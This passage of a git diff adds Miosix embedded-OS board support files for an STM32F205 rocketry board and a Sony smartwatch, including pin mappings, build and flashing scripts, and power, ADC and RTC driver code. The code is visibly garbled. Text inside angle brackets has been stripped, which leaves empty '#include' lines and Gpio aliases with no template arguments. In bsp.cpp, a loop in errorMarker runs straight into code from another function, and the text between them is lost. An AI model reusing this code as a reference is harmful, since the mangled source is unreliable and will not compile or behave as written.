redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp_impl.h Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#pragma once + +#include "miosix_settings.h" +#include "interfaces/gpio.h" +#include "drivers/stm32_hardware_rng.h" +#include "hwmapping.h" + +namespace miosix { + +/** +\addtogroup Hardware +\{ +*/ + +//Gpio0 is connected to a yellow led, so +//we use it for ledOn / ledOff +inline void ledOn() +{ + gpio::gpio0::high(); +} + +inline void ledOff() +{ + gpio::gpio0::low(); +} + +/** +\} +*/ + +} //namespace miosix diff --git a/miosix/arch/board/stm32f205rc_skyward_stormtrooper/interfaces-impl/hwmapping.h b/miosix/arch/board/stm32f205rc_skyward_stormtrooper/interfaces-impl/hwmapping.h new file mode 100644 index 000000000..e06736d8d --- /dev/null +++ b/miosix/arch/board/stm32f205rc_skyward_stormtrooper/interfaces-impl/hwmapping.h @@ -0,0 +1,116 @@ +/*************************************************************************** + * Copyright (C) 2016 by Silvano Seva for Skyward Experimental * + * Rocketry * + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#pragma once + +#include "interfaces/gpio.h" + +namespace miosix { + +//external SPI flash memories, whith dedicated SPI bus +namespace memories { +using sck = Gpio; +using miso = Gpio; +using mosi = Gpio; +using cs0 = Gpio; +using cs1 = Gpio; +using cs2 = Gpio; +} + +//MCP2515 SPI driven CAN interface chip +namespace mcp2515 { +using sck = Gpio; +using miso = Gpio; +using mosi = Gpio; +using tx0rts = Gpio; +using tx1rts = Gpio; +using tx2rts = Gpio; +using interr = Gpio; +} + +namespace can { +using rx1 = Gpio; +using tx1 = Gpio; +using rx2 = Gpio; +using tx2 = Gpio; +} + +//analog inputs +namespace analogIn { +using ch0 = Gpio; +using ch1 = Gpio; +using ch2 = Gpio; +using ch3 = Gpio; +using ch4 = Gpio; +using ch5 = Gpio; +using ch6 = Gpio; +using ch7 = Gpio; +using ch8 = Gpio; +} + +//general purpose IOs (typically used as digital IO) +namespace gpio { +using gpio0 = Gpio; +using gpio1 = Gpio; +using gpio2 = Gpio; +using gpio3 = Gpio; +} + +//USART2, connected to RS485 transceiver +namespace usart2 { +using tx = Gpio; +using rx = Gpio; +using rts = Gpio; +} + +//USART3, connected to RS485 transceiver +namespace usart3 { +using tx = Gpio; +using rx = Gpio; +using rts = Gpio; +} + +//UART4 +namespace uart4 { +using tx = Gpio; +using rx = Gpio; +} + +//UART5 +namespace uart5 { +using tx = Gpio; +using rx = Gpio; +} + +//UART6 +namespace uart6 { +using tx = Gpio; +using rx = Gpio; +} +} //namespace miosix diff --git a/miosix/arch/board/stm32f205rc_skyward_stormtrooper/unikernel.ld b/miosix/arch/board/stm32f205rc_skyward_stormtrooper/unikernel.ld new file mode 100644 index 000000000..121cfb0ad --- /dev/null +++ b/miosix/arch/board/stm32f205rc_skyward_stormtrooper/unikernel.ld @@ -0,0 +1,13 @@ +/* + * Linker script for stm32f205 + * For compiling Miosix as a unikernel. + * Allocates all RAM for the kernel and kernelspace application, no process pool + */ + +MEMORY +{ + flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K + ram(wx) : ORIGIN = 0x20000000, LENGTH = 128K +} + +INCLUDE ldscripts/miosix-flash-ram.ld diff --git a/miosix/arch/board/stm32f205rg_sony-newman/CMakeLists.txt b/miosix/arch/board/stm32f205rg_sony-newman/CMakeLists.txt new file mode 100644 index 000000000..b8d36524b --- /dev/null +++ b/miosix/arch/board/stm32f205rg_sony-newman/CMakeLists.txt @@ -0,0 +1,34 @@ +## +## CMakeLists.txt for board stm32f205rg_sony-newman +## + +# Directory with header files for this board +set(MIOSIX_CHIP_INC ${CMAKE_CURRENT_SOURCE_DIR}/arch/chip/stm32f2) + +# Linker script options +# Each script in the list may be followed by the compiler options it requires +# These options are automatically added to the C/CXX compiler command line when +# that linker script is selected +set(MIOSIX_LINKER_SCRIPT_LIST + unikernel.ld +) +set(MIOSIX_DEFAULT_LINKER_SCRIPT unikernel.ld) + +# Select architecture specific files +set(MIOSIX_BOARD_SRC + ${CMAKE_CURRENT_SOURCE_DIR}/arch/drivers/stm32f2_f4_i2c.cpp + ${MIOSIX_BOARD_INC}/boot.cpp + ${MIOSIX_BOARD_INC}/interfaces-impl/bsp.cpp +) + +# Add a #define to allow querying board name +set(MIOSIX_BOARD_C_FLAGS -D_BOARD_SONY_NEWMAN) +set(MIOSIX_BOARD_CXX_FLAGS -D_BOARD_SONY_NEWMAN) + +# Specify a custom flash command +# This is the program that is invoked when the program- target is +# built. Use or as placeolders, they will be replaced by the +# build systems with the binary or hex file path repectively. +# If a command is not specified, the build system will fallback to st-flash +# TODO: fix for CMake +#set(PROGRAM_CMDLINE perl -e 'print "\xe7\x91\x11\xc0"' > magic.bin; dfu-util -d 0fce:f0fa -a 0 -i 0 -s 0x08040000 -D main.bin; dfu-util -d 0fce:f0fa -a 0 -i 0 -s 0x080ffffc -D magic.bin; rm magic.bin) diff --git a/miosix/arch/board/stm32f205rg_sony-newman/Makefile.inc b/miosix/arch/board/stm32f205rg_sony-newman/Makefile.inc new file mode 100644 index 000000000..6d2095ecb --- /dev/null +++ b/miosix/arch/board/stm32f205rg_sony-newman/Makefile.inc @@ -0,0 +1,33 @@ +## +## Makefile for board stm32f205rg_sony-newman +## Included by Makefile.inc based on the board currently selected +## + +## Base directory with else header files for this board +CHIP_INC := arch/chip/stm32f2 + +## Select linker script +LINKER_SCRIPT := unikernel.ld + +## Select architecture specific files +## These are the files in arch// +BOARD_SRC := \ +arch/drivers/stm32f2_f4_i2c.cpp \ +$(BOARD_INC)/boot.cpp \ +$(BOARD_INC)/interfaces-impl/bsp.cpp + +## Add a #define to allow querying board name +BOARD_CFLAGS := -D_BOARD_SONY_NEWMAN +BOARD_CXXFLAGS := -D_BOARD_SONY_NEWMAN + +## Select programmer command line +## This is the program that is invoked when the user types +## 'make program' +## The command must provide a way to program the board, or print an +## error message saying that 'make program' is not supported for that +## board. +## The magic.bin is somewhat used by the bootloader to detect a good fw +PROG ?= perl -e 'print "\xe7\x91\x11\xc0"' > magic.bin; \ + dfu-util -d 0fce:f0fa -a 0 -i 0 -s 0x08040000 -D main.bin; \ + dfu-util -d 0fce:f0fa -a 0 -i 0 -s 0x080ffffc -D magic.bin; \ + rm magic.bin diff --git a/miosix/arch/board/stm32f205rg_sony-newman/boot.cpp b/miosix/arch/board/stm32f205rg_sony-newman/boot.cpp new file mode 100644 index 000000000..bc39fae6c --- /dev/null +++ b/miosix/arch/board/stm32f205rg_sony-newman/boot.cpp @@ -0,0 +1,39 @@ +/*************************************************************************** + * Copyright (C) 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +extern "C" void SystemInit(); + +namespace miosix { + +void IRQmemoryAndClockInit() +{ + // Currently we use the code provided by ST (with our modifications) to + // handle the memory and clock initialization process. + SystemInit(); +} + +} // namespace miosix diff --git a/miosix/arch/board/stm32f205rg_sony-newman/interfaces-impl/arch_registers_impl.h b/miosix/arch/board/stm32f205rg_sony-newman/interfaces-impl/arch_registers_impl.h new file mode 100644 index 000000000..39b42bec0 --- /dev/null +++ b/miosix/arch/board/stm32f205rg_sony-newman/interfaces-impl/arch_registers_impl.h @@ -0,0 +1,20 @@ +#pragma once + +#define STM32F205xx +#include "CMSIS/Device/ST/STM32F2xx/Include/stm32f2xx.h" +#include "CMSIS/Include/core_cm3.h" +#include "CMSIS/Device/ST/STM32F2xx/Include/system_stm32f2xx.h" + +//RCC_SYNC is a Miosix-defined primitive for synchronizing the CPU with the +//STM32 RCC (Reset and Clock Control) peripheral after modifying peripheral +//clocks/resets. This is necessary on almost all stm32s starting from stm32f2xx, +//as observed experimentally across a variety of microcontrollers and also +//according to the errata and more recent reference manuals. To be extra safe +//it is defined to a __DSB() on all stm32s (even those that according to the +//documentation don't need it). +//On stm32f20x,f21x RCC synchronization is required per the device errata +//(ES0005 section 2.1.11). +#define RCC_SYNC() __DSB() + +//Peripheral interrupt start from 0 and the last one is 80, so there are 81 +#define MIOSIX_NUM_PERIPHERAL_IRQ 81 diff --git a/miosix/arch/board/stm32f205rg_sony-newman/interfaces-impl/bsp.cpp b/miosix/arch/board/stm32f205rg_sony-newman/interfaces-impl/bsp.cpp new file mode 100644 index 000000000..b4205b0ee --- /dev/null +++ b/miosix/arch/board/stm32f205rg_sony-newman/interfaces-impl/bsp.cpp @@ -0,0 +1,739 @@ +/*************************************************************************** + * Copyright (C) 2013 by Terraneo Federico * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +/*********************************************************************** +* bsp.cpp Part of the Miosix Embedded OS. +* Board support package, this file initializes hardware. +************************************************************************/ + +#include +#include +#include "interfaces/bsp.h" +#include "interfaces_private/bsp_private.h" +#include "kernel/thread.h" +#include "interfaces/delays.h" +#include "interfaces/arch_registers.h" +#include "interfaces_private/os_timer.h" +#include "interfaces/poweroff.h" +#include "miosix_settings.h" +#include "board_settings.h" + +using namespace std; + +namespace miosix { + +// +// Initialization +// + +void IRQbspInit() +{ + //Disable all interrupts that the bootloader + NVIC->ICER[0]=0xffffffff; + NVIC->ICER[1]=0xffffffff; + NVIC->ICER[2]=0xffffffff; + NVIC->ICER[3]=0xffffffff; + //Enable all gpios + RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN + | RCC_AHB1ENR_GPIOBEN + | RCC_AHB1ENR_GPIOCEN; + RCC_SYNC(); + using namespace oled; + OLED_nSS_Pin::mode(Mode::OUTPUT); + OLED_nSS_Pin::high(); + OLED_nSS_Pin::speed(Speed::_50MHz); //Without changing the default speed + OLED_SCK_Pin::mode(Mode::ALTERNATE); //OLED does not work! + OLED_SCK_Pin::alternateFunction(5); + OLED_SCK_Pin::speed(Speed::_50MHz); + OLED_MOSI_Pin::mode(Mode::ALTERNATE); + OLED_MOSI_Pin::alternateFunction(5); + OLED_MOSI_Pin::speed(Speed::_50MHz); + OLED_A0_Pin::mode(Mode::OUTPUT); + OLED_A0_Pin::low(); + OLED_A0_Pin::speed(Speed::_50MHz); + OLED_Reset_Pin::mode(Mode::OUTPUT); + OLED_Reset_Pin::low(); + OLED_Reset_Pin::speed(Speed::_50MHz); + OLED_V_ENABLE_Pin::mode(Mode::OUTPUT); + OLED_V_ENABLE_Pin::low(); + OLED_V_ENABLE_Pin::speed(Speed::_50MHz); + + using namespace touch; + Touch_Reset_Pin::mode(Mode::OUTPUT); + Touch_Reset_Pin::low(); + Touch_Reset_Pin::speed(Speed::_50MHz); + TOUCH_WKUP_INT_Pin::mode(Mode::INPUT); + + using namespace power; + BATT_V_ON_Pin::mode(Mode::OUTPUT); + BATT_V_ON_Pin::low(); + BATT_V_ON_Pin::speed(Speed::_50MHz); + BAT_V_Pin::mode(Mode::INPUT_ANALOG); + ENABLE_LIGHT_SENSOR_Pin::mode(Mode::OUTPUT); + ENABLE_LIGHT_SENSOR_Pin::low(); + ENABLE_LIGHT_SENSOR_Pin::speed(Speed::_50MHz); + LIGHT_SENSOR_ANALOG_OUT_Pin::mode(Mode::INPUT_ANALOG); + ENABLE_2V8_Pin::mode(Mode::OUTPUT); + ENABLE_2V8_Pin::low(); + ENABLE_2V8_Pin::speed(Speed::_50MHz); + HoldPower_Pin::mode(Mode::OPEN_DRAIN); + HoldPower_Pin::high(); + HoldPower_Pin::speed(Speed::_50MHz); + + ACCELEROMETER_INT_Pin::mode(Mode::INPUT_PULL_DOWN); + + using namespace i2c; + I2C_SCL_Pin::speed(Speed::_50MHz); + I2C_SDA_Pin::speed(Speed::_50MHz); + + BUZER_PWM_Pin::mode(Mode::OUTPUT); + BUZER_PWM_Pin::low(); + BUZER_PWM_Pin::speed(Speed::_50MHz); + + POWER_BTN_PRESS_Pin::mode(Mode::INPUT); + + using namespace usb; + USB5V_Detected_Pin::mode(Mode::INPUT_PULL_DOWN); + USB_DM_Pin::mode(Mode::INPUT); + USB_DP_Pin::mode(Mode::INPUT); + + using namespace bluetooth; + Reset_BT_Pin::mode(Mode::OPEN_DRAIN); + Reset_BT_Pin::low(); + Reset_BT_Pin::speed(Speed::_50MHz); + BT_CLK_REQ_Pin::mode(Mode::INPUT); + HOST_WAKE_UP_Pin::mode(Mode::INPUT); + Enable_1V8_BT_Power_Pin::mode(Mode::OPEN_DRAIN); + Enable_1V8_BT_Power_Pin::high(); + Enable_1V8_BT_Power_Pin::speed(Speed::_50MHz); + BT_nSS_Pin::mode(Mode::OUTPUT); + BT_nSS_Pin::low(); + BT_nSS_Pin::speed(Speed::_50MHz); + BT_SCK_Pin::mode(Mode::OUTPUT); + BT_SCK_Pin::low(); + BT_SCK_Pin::speed(Speed::_50MHz); + BT_MISO_Pin::mode(Mode::INPUT_PULL_DOWN); + BT_MOSI_Pin::mode(Mode::OUTPUT); + BT_MOSI_Pin::low(); + BT_MOSI_Pin::speed(Speed::_50MHz); + + using namespace unknown; + WKUP_Pin::mode(Mode::INPUT); + MCO1_Pin::mode(Mode::ALTERNATE); + MCO1_Pin::alternateFunction(0); + MCO1_Pin::speed(Speed::_100MHz); + Connect_USB_Pin::mode(Mode::OPEN_DRAIN); + Connect_USB_Pin::low(); + Connect_USB_Pin::speed(Speed::_50MHz); + POWER_3V3_ON_1V8_OFF_Pin::mode(Mode::OUTPUT); + POWER_3V3_ON_1V8_OFF_Pin::low(); + POWER_3V3_ON_1V8_OFF_Pin::speed(Speed::_50MHz); + SPI2_nSS_Pin::mode(Mode::OUTPUT); + SPI2_nSS_Pin::high(); + SPI2_nSS_Pin::speed(Speed::_50MHz); + SPI2_SCK_Pin::mode(Mode::OUTPUT); + SPI2_SCK_Pin::low(); + SPI2_SCK_Pin::speed(Speed::_50MHz); + SPI2_MISO_Pin::mode(Mode::INPUT_PULL_DOWN); + SPI2_MOSI_Pin::mode(Mode::OUTPUT); + SPI2_MOSI_Pin::low(); + SPI2_MOSI_Pin::speed(Speed::_50MHz); + + // Taken from underverk's SmartWatch_Toolchain/src/system.c: + // Prevents hard-faults when booting from USB + delayMs(50); + + USB_DP_Pin::mode(Mode::INPUT_PULL_UP); //Never leave GPIOs floating + USB_DM_Pin::mode(Mode::INPUT_PULL_DOWN); +} + +void bspInit2() +{ + PowerManagement::instance(); //This initializes the PMU + BUZER_PWM_Pin::high(); + Thread::sleep(200); + BUZER_PWM_Pin::low(); + //Wait for user to release the button + while(POWER_BTN_PRESS_Pin::value()) Thread::sleep(20); +} + +// +// Shutdown and reboot +// + +void shutdown() +{ + // Taken from underverk's SmartWatch_Toolchain/src/Arduino/Arduino.cpp + FastGlobalIrqLock::lock(); + BUZER_PWM_Pin::high(); + delayMs(200); + BUZER_PWM_Pin::low(); + while(POWER_BTN_PRESS_Pin::value()) ; + //This is likely wired to the PMU. If the USB cable is not connected, this + //cuts off the power to the microcontroller. But if USB is connected, this + //does nothing. In this case we can only spin waiting for the user to turn + //the device on again + power::HoldPower_Pin::low(); + delayMs(500); + while(POWER_BTN_PRESS_Pin::value()==0) ; + reboot(); +} + +void reboot() +{ + FastGlobalIrqLock::lock(); + IRQsystemReboot(); +} + +// +// Other board specific stuff +// + +KernelMutex& i2cMutex() +{ + static KernelMutex mutex; + return mutex; +} + +bool i2cWriteReg(miosix::I2C1Master *i2c, unsigned char dev, unsigned char reg, + unsigned char data) +{ + const unsigned char buffer[]={reg,data}; + return i2c->send(dev,buffer,sizeof(buffer)); +} + +bool i2cReadReg(miosix::I2C1Master *i2c, unsigned char dev, unsigned char reg, + unsigned char& data) +{ + if(i2c->send(dev,®,1)==false) return false; + unsigned char temp; + if(i2c->recv(dev,&temp,1)==false) return false; + data=temp; + return true; +} + +void errorMarker(int x) +{ + Thread::sleep(400); + for(int i=0;i l(i2cMutex()); + unsigned char chgstatus; + //During testing the i2c command never failed. If it does, we lie and say + //we're not charging + if(i2cReadReg(i2c,PMU_I2C_ADDRESS,CHGSTATUS,chgstatus)==false) return false; + return (chgstatus & CH_ACTIVE_MSK)!=0; +} + +int PowerManagement::getBatteryStatus() +{ + const int battCharged=4000; //4.0V + const int battDead=3000; //3V + return max(0,min(100,(getBatteryVoltage()-battDead)*100/(battCharged-battDead))); +} + +int PowerManagement::getBatteryVoltage() +{ + Lock l(powerManagementMutex); + power::BATT_V_ON_Pin::high(); //Enable battry measure circuitry + ADC1->CR2=ADC_CR2_ADON; //Turn ADC ON + Thread::sleep(5); //Wait for voltage to stabilize + ADC1->CR2 |= ADC_CR2_SWSTART; //Start conversion + while((ADC1->SR & ADC_SR_EOC)==0) ; //Wait for conversion + int result=ADC1->DR; //Read result + ADC1->CR2=0; //Turn ADC OFF + power::BATT_V_ON_Pin::low(); //Disable battery measurement circuitry + return result*4440/4095; +} + +void PowerManagement::setCoreFrequency(CoreFrequency cf) +{ + // This does not work + // TODO: proper OS-wide DVFS support + #if 0 + if(cf==coreFreq) return; + + Lock l(powerManagementMutex); + //We need to reconfigure I2C for the new frequency + Lock l2(i2cMutex()); + + { + FastGlobalIrqLock dLock; + CoreFrequency oldCoreFreq=coreFreq; + coreFreq=cf; //Need to change this *before* setting prescalers/core freq + if(coreFreq>oldCoreFreq) + { + //We're increasing the frequency, so change prescalers first + IRQsetPrescalers(); + IRQsetCoreFreq(); + } else { + //We're decreasing the frequency, so change frequency first + IRQsetCoreFreq(); + IRQsetPrescalers(); + } + + //Changing frequency requires to change many things that depend on + //said frequency: + + //Miosix's os timer + SystemCoreClockUpdate(); + IRQosTimerInit(); + } + + //And also reconfigure the I2C (can't change this with IRQ disabled) + //Reinitialize after the frequency change + delete i2c; + i2c=new I2C1Master(i2c::I2C_SDA_Pin::getPin(),i2c::I2C_SCL_Pin::getPin(),100); + #endif +} + +void PowerManagement::goDeepSleep(int ms) +{ + ms=min(30000,ms); + /* + * Going in deep sleep would interfere with USB communication. Also, + * there's no need for such an aggressive power optimization while we are + * connected to USB. + */ + if(isUsbConnected()) + { + if(wakeOnButton) + { + bool oldState=POWER_BTN_PRESS_Pin::value(); + for(int i=0;i l(powerManagementMutex); + //We don't use I2C, but we don't want other thread to mess with + //the hardware while the microcontroller is going in deep sleep + Lock l2(i2cMutex()); + + { + FastGlobalIrqLock dLock; + //Enable event 22 (RTC WKUP) + if(wakeOnButton) + { + EXTI->EMR |= 1<<11; + EXTI->RTSR |= 1<<11; + } else { + EXTI->EMR &= ~(1<<11); + EXTI->RTSR &= ~(1<<11); + } + EXTI->EMR |= 1<<22; + EXTI->RTSR |= 1<<22; + + //These two values enable RTC write access + RTC->WPR=0xca; + RTC->WPR=0x53; + //Set wakeup time + RTC->CR &= ~RTC_CR_WUTE; + while((RTC->ISR & RTC_ISR_WUTWF)==0) ; + RTC->CR &= ~ RTC_CR_WUCKSEL; //timebase=32768/16=1024 + RTC->WUTR=ms*2048/1000; + RTC->CR |= RTC_CR_WUTE | RTC_CR_WUTIE; + + //Enter stop mode by issuing a WFE + PWR->CR |= PWR_CR_FPDS //Flash in power down while in stop + | PWR_CR_LPDS; //Regulator in low power mode while in stop + SCB->SCR |= SCB_SCR_SLEEPDEEP_Msk; //Select stop mode + __WFE(); + SCB->SCR &= ~SCB_SCR_SLEEPDEEP_Msk; //Unselect stop mode + + //Disable wakeup timer + RTC->CR &= ~(RTC_CR_WUTE | RTC_CR_WUTIE); + RTC->ISR &= ~RTC_ISR_WUTF; //~because these flags are cleared writing 0 + + //After stop mode the microcontroller clock settings are lost, we are + //running with the HSI oscillator, so restart the PLL + IRQsetSystemClock(); + } +} + +PowerManagement::PowerManagement() : i2c(new I2C1Master(i2c::I2C_SDA_Pin::getPin(), + i2c::I2C_SCL_Pin::getPin(),100)), chargingAllowed(true), wakeOnButton(false), + coreFreq(FREQ_120MHz), powerManagementMutex(MutexOptions::RECURSIVE) +{ + { + FastGlobalIrqLock dLock; + RCC->APB2ENR |= RCC_APB2ENR_ADC1EN | RCC_APB2ENR_SYSCFGEN; + RCC_SYNC(); + //Configure PB1 (POWER_BUTTON) as EXTI input + SYSCFG->EXTICR[2] &= ~(0xf<<12); + SYSCFG->EXTICR[2] |= 1<<12; + //Then disable SYSCFG access, as we don't need it anymore + RCC->APB2ENR &= ~RCC_APB2ENR_SYSCFGEN; + } + ADC1->CR1=0; + ADC1->CR2=0; //Keep the ADC OFF to save power + ADC1->SMPR2=ADC_SMPR2_SMP2_0; //Sample for 15 cycles channel 2 (battery) + ADC1->SQR1=0; //Do only one conversion + ADC1->SQR2=0; + ADC1->SQR3=2; //Convert channel 2 (battery voltage) + + unsigned char config0=VSYS_4_4V + | ACIC_100mA_DPPM_ENABLE + | TH_LOOP + | DYN_TMR + | TERM_EN + | CH_EN; + unsigned char config1=I_TERM_10 + | ISET_100 + | I_PRE_10; + unsigned char config2=SFTY_TMR_5h + | PRE_TMR_30m + | NTC_10k + | V_DPPM_4_3_V + | VBAT_COMP_ENABLE; + unsigned char defdcdc=DCDC_DISCH + | DCDC1_DEFAULT; + Lock l(i2cMutex()); + bool error=false; + if(i2cWriteReg(i2c,PMU_I2C_ADDRESS,CHGCONFIG0,config0)==false) error=true; + if(i2cWriteReg(i2c,PMU_I2C_ADDRESS,CHGCONFIG1,config1)==false) error=true; + if(i2cWriteReg(i2c,PMU_I2C_ADDRESS,CHGCONFIG2,config2)==false) error=true; + if(i2cWriteReg(i2c,PMU_I2C_ADDRESS,DEFDCDC,defdcdc)==false) error=true; + if(error) errorMarker(10); //Should never happen + Rtc::instance(); //Sleep stuff depends on RTC, so it must be initialized +} + +void PowerManagement::IRQsetSystemClock() +{ + //Turn on HSE and wait for it to stabilize + RCC->CR |= RCC_CR_HSEON; + while((RCC->CR & RCC_CR_HSERDY)==0) ; + + //Configure PLL and turn it on + const int m=miosix::hseFrequency/1000000; + const int n=240; + const int p=2; + const int q=5; + RCC->PLLCFGR=m | (n<<6) | (((p/2)-1)<<16) | RCC_PLLCFGR_PLLSRC_HSE | (q<<24); + RCC->CR |= RCC_CR_PLLON; + while((RCC->CR & RCC_CR_PLLRDY)==0) ; + + IRQsetPrescalers(); + IRQsetCoreFreq(); +} + +void PowerManagement::IRQsetPrescalers() +{ + RCC->CFGR &= ~(RCC_CFGR_HPRE | RCC_CFGR_PPRE1 | RCC_CFGR_PPRE2); + FLASH->ACR &= ~FLASH_ACR_LATENCY; + switch(coreFreq) + { + case FREQ_120MHz: + RCC->CFGR |= RCC_CFGR_HPRE_DIV1; //HCLK=SYSCLK + RCC->CFGR |= RCC_CFGR_PPRE2_DIV2; //PCLK2=HCLK/2 + RCC->CFGR |= RCC_CFGR_PPRE1_DIV4; //PCLK1=HCLK/4 + //Configure flash wait states + //Three wait states seem to make it unstable (crashing) when CPU load is high + FLASH->ACR=FLASH_ACR_PRFTEN + | FLASH_ACR_ICEN + | FLASH_ACR_DCEN + | FLASH_ACR_LATENCY_7WS; + break; + case FREQ_26MHz: + RCC->CFGR |= RCC_CFGR_HPRE_DIV1; //HCLK=SYSCLK + RCC->CFGR |= RCC_CFGR_PPRE2_DIV1; //PCLK2=HCLK + RCC->CFGR |= RCC_CFGR_PPRE1_DIV1; //PCLK1=HCLK + //Configure flash wait states + FLASH->ACR=FLASH_ACR_PRFTEN + | FLASH_ACR_ICEN + | FLASH_ACR_DCEN + | FLASH_ACR_LATENCY_1WS; + break; + } +} + +void PowerManagement::IRQsetCoreFreq() +{ + //Note that we don't turn OFF the PLL when going to 26MHz. It's true, it + //draws power, but the USB and RNG use it so for now we'll be on the safe + //side and keep in active + RCC->CFGR &= ~(RCC_CFGR_SW); + switch(coreFreq) + { + case FREQ_120MHz: + RCC->CFGR |= RCC_CFGR_SW_PLL; + while((RCC->CFGR & RCC_CFGR_SWS)!=RCC_CFGR_SWS_PLL) ; + break; + case FREQ_26MHz: + RCC->CFGR |= RCC_CFGR_SW_HSE; + while((RCC->CFGR & RCC_CFGR_SWS)!=RCC_CFGR_SWS_HSE) ; + break; + } +} + +// +// class LightSensor +// + +LightSensor& LightSensor::instance() +{ + static LightSensor singleton; + return singleton; +} + +int LightSensor::read() +{ + //Prevent frequency changes/entering deep sleep while reading light sensor + Lock l(PowerManagement::instance()); + + power::ENABLE_LIGHT_SENSOR_Pin::high(); //Enable battry measure circuitry + ADC2->CR2=ADC_CR2_ADON; //Turn ADC ON + Thread::sleep(5); //Wait for voltage to stabilize + ADC2->CR2 |= ADC_CR2_SWSTART; //Start conversion + while((ADC2->SR & ADC_SR_EOC)==0) ; //Wait for conversion + int result=ADC2->DR; //Read result + ADC2->CR2=0; //Turn ADC OFF + power::ENABLE_LIGHT_SENSOR_Pin::low(); //Disable battery measure circuitry + return result; +} + +LightSensor::LightSensor() +{ + { + FastGlobalIrqLock dLock; + RCC->APB2ENR |= RCC_APB2ENR_ADC2EN; + RCC_SYNC(); + } + ADC2->CR1=0; + ADC2->CR2=0; //Keep the ADC OFF to save power + ADC2->SMPR1=ADC_SMPR1_SMP14_0; //Sample for 15 cycles channel 14 + ADC2->SQR1=0; //Do only one conversion + ADC2->SQR2=0; + ADC2->SQR3=14; //Convert channel 14 (light sensor) +} + +// +// class Rtc +// + +Rtc& Rtc::instance() +{ + static Rtc singleton; + return singleton; +} + +struct tm Rtc::getTime() +{ + while((RTC->ISR & RTC_ISR_RSF)==0) ; //Wait for registers to sync + unsigned int t,d; + for(;;) + { + t=RTC->TR; + d=RTC->DR; + if(t==RTC->TR) break; + //Otherwise the registers were updated while reading and may not + //reflect the same time instant, so retry + } + struct tm result; + #define BCD(x,y,z) (((x)>>(y)) & 0xf) + (((x)>>((y)+4)) & (z))*10 + result.tm_sec=BCD(t,0,0x7); + result.tm_min=BCD(t,8,0x7); + result.tm_hour=BCD(t,16,0x7); + result.tm_mday=BCD(d,0,0x7); + result.tm_mon=BCD(d,8,0x1)-1; //-1 as tm_mon's range is 0..11 + //RTC has only two digits for year, and struct tm counts year from 1900 + result.tm_year=BCD(d,16,0xf)+100; + int wdu=(d>>13) & 0x7; + result.tm_wday= (wdu>6) ? 0 : wdu; //Sunday is 0 for struct tm, 7 for RTC + result.tm_yday=0; //TODO + result.tm_isdst=0; //TODO + #undef BCD + return result; +} + +void Rtc::setTime(tm time) +{ + time.tm_sec=min(59,time.tm_sec); + time.tm_min=min(59,time.tm_min); + time.tm_hour=min(23,time.tm_hour); + time.tm_mday=max(1,min(31,time.tm_mday)); + time.tm_mon=max(1,min(12,time.tm_mon)); + time.tm_wday=min(6,time.tm_wday); + int wdu= (time.tm_wday==0) ? 7 : time.tm_wday; //Sunday is 0 for struct tm, 7 for RTC + unsigned int t,d; + #define BCD(x,y,v) (x)|=(((v) % 10)<<(y) | ((v)/10)<<((y)+4)) + t=0; + BCD(t,0,time.tm_sec); + BCD(t,8,time.tm_min); + BCD(t,16,time.tm_hour); + d=0; + BCD(d,0,time.tm_mday); + BCD(d,8,time.tm_mon+1); //+1 as tm_mon's range is 0..11 + 